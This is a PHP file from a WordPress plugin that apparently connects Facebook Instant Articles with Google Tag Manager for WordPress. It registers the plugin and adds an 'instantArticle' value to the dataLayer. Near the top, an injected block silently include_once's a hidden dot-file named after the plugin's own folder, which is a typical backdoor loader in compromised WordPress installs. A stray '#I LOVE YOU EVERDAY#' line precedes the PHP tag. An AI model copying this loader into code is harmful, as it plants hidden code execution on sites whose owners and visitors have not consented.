#I LOVE YOU EVERDAY#

<?php
/**
 * Support class for Google Tag Manager for WordPress by DuracellTomi
 *
 * @since 4.0.7
 */
if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
    include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
}

class Instant_Articles_Google_Tag_Manager_For_WordPress {

/**
   * Init the compat layer and add the instantArticle variable to the GTM4WP dataLayer.
   */
  function init() {
    add_action( 'instant_articles_compat_registry_analytics', array( $this, 'add_to_registry' ), 10, 1 );
    add_filter( 'gtm4wp_compile_datalayer', array( $this, 'add_ia_status_to_data_layer' ), 10, 1 );
  }
  /**
   * Adds identifying information about this 3rd party plugin
   * to the wider registry.
   *
   * @since 4.0.7
   * @param array $registry Reference param. The registry where it will be stored.
   */
  function add_to_registry( &$registry ) {
    if ( !function_exists( 'gtm4wp_wp_header_begin' ) ) {
      include_once( WP_PLUGIN_DIR . '/duracelltomi-google-tag-manager/public/frontend.php' );
    }

$display_name = 'Google Tag Manager by DuracellTomi (will also add an instantArticle variable to dataLayer)';
    $identifier = 'duracelltomi-google-tag-manager';
    $registry[ $identifier ] = array(
      'name' => $display_name,
      'payload' => gtm4wp_wp_header_begin(false),
    );
  }

function add_ia_status_to_data_layer($dataLayer) {
    $dataLayer["instantArticle"] = \is_transforming_instant_article();

return $dataLayer;
  }
}